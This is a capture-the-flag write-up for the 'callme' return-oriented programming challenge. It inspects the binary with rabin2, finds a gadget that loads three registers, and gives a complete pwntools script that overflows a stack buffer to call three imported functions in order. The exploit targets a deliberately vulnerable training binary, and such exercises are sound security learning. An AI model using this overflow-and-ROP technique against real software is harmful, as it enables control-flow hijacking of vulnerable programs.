Writeup

Firstly we need to check the security of the binary :

$ rabin2 -I callme  
arch     x86
baddr    0x400000
binsz    11375
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    ./
sanitiz  false
static   false
stripped false
subsys   linux
va       true

As always the binary has PIC disabled, and in this case we have an encrypted flag and two keys. Surely we can crack the crypto algorithm used by the binary very easily, but it’s not the scope of the challenge. In this case we need to call in this order callme_one(1, 2, 3), callme_two(1, 2, 3), callme_three(1, 2, 3) (read description of the challenge).

So the first thing is to check if this functions are in the PLT:

$ rabin2 -i callme
[Imports]
Num  Vaddr       Bind      Type Name
   1 0x00000000    WEAK  NOTYPE _ITM_deregisterTMCloneTable
   2 0x004017f0  GLOBAL    FUNC puts
   3 0x00401800  GLOBAL    FUNC printf
   4 0x00401810  GLOBAL    FUNC callme_three
   5 0x00401820  GLOBAL    FUNC memset
   6 0x00401830  GLOBAL    FUNC __libc_start_main
   7 0x00401840  GLOBAL    FUNC fgets
   8 0x00401850  GLOBAL    FUNC callme_one
   9 0x00000000    WEAK  NOTYPE __gmon_start__
  10 0x00401860  GLOBAL    FUNC setvbuf
  11 0x00401870  GLOBAL    FUNC callme_two
  12 0x00000000    WEAK  NOTYPE _Jv_RegisterClasses
  13 0x00401880  GLOBAL    FUNC exit
  14 0x00000000    WEAK  NOTYPE _ITM_registerTMCloneTable

Luckily yes so we don’t have to bypass ASLR and call them from the given library in memory.

Then we need to check what gadgets are in the binary to setup a ROP chain, (we need a gadget with rdi,rsi and rdx):

$ [INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000401984: add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax; 
0x0000000000401982: add byte ptr [rax], al; add byte ptr [rax - 0x7b], cl; sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax; 
0x0000000000401aa9: add byte ptr [rax], al; nop dword ptr [rax + rax]; pop rdi; pop rsi; pop rdx; ret; 
0x0000000000401aae: add byte ptr [rax], al; pop rdi; pop rsi; pop rdx; ret; 
0x0000000000401aad: add byte ptr [rax], r8b; pop rdi; pop rsi; pop rdx; ret; 
0x0000000000401aa0: jmp qword ptr [rsi + 0x2e]; 
0x0000000000401aab: nop dword ptr [rax + rax]; pop rdi; pop rsi; pop rdx; ret; 
0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret; 
0x0000000000401b21: pop rsi; pop r15; ret; 
0x0000000000401ab1: pop rsi; pop rdx; ret; 
0x0000000000401987: sal byte ptr [rcx + rsi*8 + 0x55], 0x48; mov ebp, esp; call rax;

We’re very lucky and we have a single gadget 0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret; that we can use to pass to the registers values on the stack. Now the ROP chain is trivial.

Exploit

#!/usr/bin/env python3

from pwn import *
import os

chunk = b'a' * 40               # buf[0x20] + rbp(0x8) = 0x28 = 40 
pop = p64(0x0401ab0)            # pop rdi; pop rsi; pop rdx; ret
callme_one = p64(0x00401850)    # rabin2 -i callme 
callme_two = p64(0x00401870)
callme_three = p64(0x00401810)
args = p64(0x1) + p64(0x2) + p64(0x3)
payload = chunk + pop + args + callme_one
payload += pop + args + callme_two
payload += pop + args + callme_three

conn = process('./callme')
log.info(conn.recvuntil('> '))
conn.sendline(payload)
log.info(conn.recv())
conn.close()

with open("out.txt", "wb") as out:
    out.write(payload)

Flag

ROPE{a_placeholder_32byte_flag!}